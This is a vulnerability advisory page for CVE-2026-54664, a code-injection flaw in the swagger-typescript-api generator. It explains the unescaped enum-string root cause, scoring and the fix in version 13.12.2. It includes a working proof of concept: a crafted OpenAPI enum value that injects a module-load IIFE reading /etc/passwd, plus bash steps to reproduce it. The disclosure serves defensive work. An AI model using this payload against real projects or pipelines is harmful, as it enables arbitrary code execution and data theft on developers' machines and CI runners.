Skip to main content

swagger-typescript-api CVE-2026-54664

| EUVDEUVD-2026-50366 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-5f94-x226-ccpm
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
Share

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY
8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI
9.6 CRITICAL

Attacker fully controls the spec and the PoC is deterministic against the default enum style (AC:L), needs no victim auth (PR:N) but requires the victim to generate and import (UI:R), and generator input executes in the consumer's process (S:C) for full RCE.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 29, 2026 - 15:01 vuln.today
Analysis Generated
Jul 29, 2026 - 15:01 vuln.today
CVE Published
Jul 29, 2026 - 14:33 github-advisory
HIGH 8.3

DescriptionCVE.org

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call - only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges - read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

ts
StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping - no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

ts
return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

ejs
export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue - raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime - they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block - payload):

ts
    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

  • sta generate --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR - the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value - they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process - read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal - escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators ` / . JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue` (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

AnalysisAI

Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) lets an attacker who controls an OpenAPI spec inject JavaScript that runs at module load in whoever generates and imports the client. Because the generator's Ts.StringValue helper wraps enum strings in double quotes with zero escaping, a crafted components.schemas.*.enum value breaks out of the generated TypeScript enum and plants a bare-block async IIFE that fires on a mere import - no HttpClient instantiation or API call needed. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Host malicious OpenAPI spec
Delivery
Victim generates client from spec
Exploit
Enum value breaks out of TypeScript enum
Install
Bare-block async IIFE injected
C2
Victim imports generated module
Execute
Code executes at module load
Impact
Read/exfiltrate files with importer privileges

Vulnerability AssessmentAI

Exploitation Requires that the victim run swagger-typescript-api against an OpenAPI spec containing an attacker-controlled string in components.schemas.*.enum, using the default enumStyle:"enum" output mode, and then import the generated module (or anything that transitively imports it, e.g. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor CVSS 3.1 vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (8.3, High) captures the trade-offs: network-delivered spec, no privileges on the victim, required user interaction (the victim must run the generator and import the output), and a scope change because generator input executes in the importing consumer's process. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes or supplies a malicious OpenAPI spec (hosted for `sta generate --url`, offered as a partner/vendor spec, or committed via PR) whose Color enum contains a value like `blue";}\n{(async()=>{...fs.readFileSync('/etc/passwd')...})();//`. A developer or CI runner generates the TypeScript client and later imports the generated module (or its data-contracts file); the injected async IIFE executes at module load with the importer's privileges, reading /etc/passwd or exfiltrating secrets. …
Remediation Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 (https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes enum string values by hardening Ts.StringValue via a new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit 306d59acb8ffbb00f953f807b97234b21f51d9de); the same change also protects the other Ts.StringValue call sites and the release additionally fixes related injection in servers[0].url and route paths plus SSRF/token-exfiltration via remote $ref. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all projects using swagger-typescript-api and upgrade to version 13.12.2 or later across all development and build environments. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

CVE-2026-54664 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy